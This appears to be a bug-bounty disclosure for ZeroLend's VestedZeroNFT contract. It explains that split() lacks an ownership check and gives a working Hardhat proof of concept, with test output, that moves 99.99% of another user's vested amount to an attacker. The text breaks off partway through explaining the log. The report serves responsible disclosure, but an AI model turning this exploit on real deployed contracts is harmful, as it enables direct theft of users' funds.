29204 - [SC - Critical] Direct theft of Users VestedZeroNFT by using sp...
Direct theft of User's VestedZeroNFT by using split function to mint a new NFT to take most fraction of the theft NFT of other users
Submitted on Mar 10th 2024 at 16:23:41 UTC by @perseverance for Boost | ZeroLend
Report ID: #29204
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/zerolend/governance
Impacts:
Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
Description
Description
Direct theft of User's VestedZeroNFT by using split function to mint a new NFT to take most fraction of the theft NFT of other users
Brief/Intro
VestedZeroNFT is a NFT based contract to hold all the user vests. NFTs can be traded on secondary marketplaces like Opensea, can be split into smaller chunks to allow for smaller otc deals to happen in secondary markets.
When mint a NFT tokenIT for a user, the function mint() can be used
The intended purpose is that this allows the owner of the tokenID to split and mint a new tokenID from a fraction of the current tokenID.
Vulnerability Details
The vulnerability is this function does not check the msg.sender is the owner of the tokenID. The only check is:
_requireOwned(tokenId);
This check is from ERC721Upgradeable contract. https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC721/ERC721Upgradeable.sol#L477-L483
/** * @dev Reverts if the `tokenId` doesn't have a current owner (it hasn't been minted, or it has been burned). * Returns the owner. * * Overrides to ownership logic should be done to {_ownerOf}. */function_requireOwned(uint256 tokenId) internalviewreturns (address) {address owner =_ownerOf(tokenId);if (owner ==address(0)) {revertERC721NonexistentToken(tokenId); }return owner; }
So the function just checks that the owner is not zero.
So the attacker can use this function to steal most fraction of the VestedZeroNFT tokenID.
The attacker can call
split(tokenID,1)
For the tokenID, the attacker can use any existed tokenID.
The fraction is 1 to steal most of current tokenID to mint a new tokenID for the attacker.
For example, if Ant has a tokenID for example = 2 that: pending = 10_000 * 10**18
After the hack, The tokenID = 2 pending = 1 * 10**18
The hacker new minted tokenID has
pending = 9999 * 10** 18
So 99.99% amount of pending of Ant's tokenID was stolen by the attacker.
The attacker can steal from tokenID of any owner, including the StakingBonus contract.
Impacts
About the severity assessment
So the bug allow attackers to steal the VestedZeroNFT token of users.
So the Severity is Critical with Category: Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
Proof of Concept
Test code POC:
it("Direct theft of ZeroVestedNFT",asyncfunction () {console.log("Create the pre-condition setup for attack: User Ant has 1 VestedZeroNFT");let lastTokenId =awaitvest.lastTokenId();console.log("The address of the owner of the lastTokenId: ",awaitvest.ownerOf(lastTokenId));console.log("The address of StakingBonus contract: ",stakingBonus.target.toString());console.log("Mint a VestedZeroNFT for Ant by calling mint() function of VestedZeroNFT contract"); tokenId =awaitvest.mint(ant.address, e18 *10000n,// 10000 ZERO linear vesting0,// 0 ZERO upfront1000,// linear duration - 1000 seconds0,// cliff duration - 0 seconds now +1000,// unlock datefalse,// penalty -> false0 );console.log("Zero balance of Ant",awaitzero.balanceOf(ant.address));console.log("Zero balance of vestZeroNFT contract",awaitzero.balanceOf(vest.target)); lastTokenId =awaitvest.lastTokenId();console.log("Ant address: ",ant.address);console.log("The address of the owner of the TokenId: ", lastTokenId,awaitvest.ownerOf(lastTokenId));expect(awaitvest.ownerOf(lastTokenId)).eq(ant.address);console.log("Get tokenIdToLockDetails of the lastTokenId");let tokenIdToLockDetails =awaitvest.tokenIdToLockDetails(lastTokenId);console.log("tokenIdToLockDetails: ", tokenIdToLockDetails); /*-------------------------------------*/ console.log("Execute the attack to steal the amount of pending of the VestedZeroNFT to mint a new tokenID for the attacker");
const [attacker] =awaithre.ethers.getSigners();console.log("Attacker address: ",attacker.address);console.log("Call split to theft the tokenID of Ant");console.log("LastTokenId: ", lastTokenId);awaitvest.connect(attacker).split(2,1) ; tokenIdToLockDetails =awaitvest.tokenIdToLockDetails(lastTokenId);expect(awaitvest.ownerOf(2)).eq(ant.address);console.log("tokenIdToLockDetails: ", tokenIdToLockDetails); lastTokenId =awaitvest.lastTokenId();console.log("The owner address of the lastTokenId: ",awaitvest.ownerOf(lastTokenId));expect(awaitvest.ownerOf(lastTokenId)).eq(attacker.address);console.log("Get tokenIdToLockDetails of the lastTokenId"); tokenIdToLockDetails =awaitvest.tokenIdToLockDetails(lastTokenId);console.log("tokenIdToLockDetails: ", tokenIdToLockDetails); });
In the above POC, to execute the attack, the hacker call the split function
awaitvest.connect(attacker).split(2,1) ;
Test log:
Full Test Log: https://drive.google.com/file/d/1uQI10CD-J9HB4KweMPAlMUj19OEzadk0/view?usp=sharing
Create the pre-condition setup for attack: User Ant has 1 VestedZeroNFT
The address of the owner of the lastTokenId: 0x9E545E3C0baAB3E08CdfD552C960A1050f373042
The address of StakingBonus contract: 0x9E545E3C0baAB3E08CdfD552C960A1050f373042
Mint a VestedZeroNFT for Ant by calling mint() function of VestedZeroNFT contract
Zero balance of Ant 0n
Zero balance of vestZeroNFT contract 10000000000000000000000n
Ant address: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
The address of the owner of the TokenId: 2n 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Get tokenIdToLockDetails of the lastTokenId
tokenIdToLockDetails: Result(10) [
0n,
1710065933n,
0n,
10000000000000000000000n,
0n,
0n,
1000n,
1710064957n,
false,
0n
]
Execute the attack to steal the amount of pending of the VestedZeroNFT to mint a new tokenID for the attacker
Attacker address: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Call split to theft the tokenID of Ant
LastTokenId: 2n
tokenIdToLockDetails: Result(10) [
0n,
1710065933n,
0n,
1000000000000000000n,
0n,
0n,
1000n,
1710064957n,
false,
0n
]
The owner address of the lastTokenId: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Get tokenIdToLockDetails of the lastTokenId
tokenIdToLockDetails: Result(10) [
0n,
1710065933n,
0n,
9999000000000000000000n,
0n,
0n,
1000n,
1710064958n,
false,
0n
]
✔ Direct theft of ZeroVestedNFT (283ms)
Test Log explanation:
So Pre-condition: Ant has 1 VestedZeroNFT with id = 2 The tokenIdToLockDetails information for this tokenID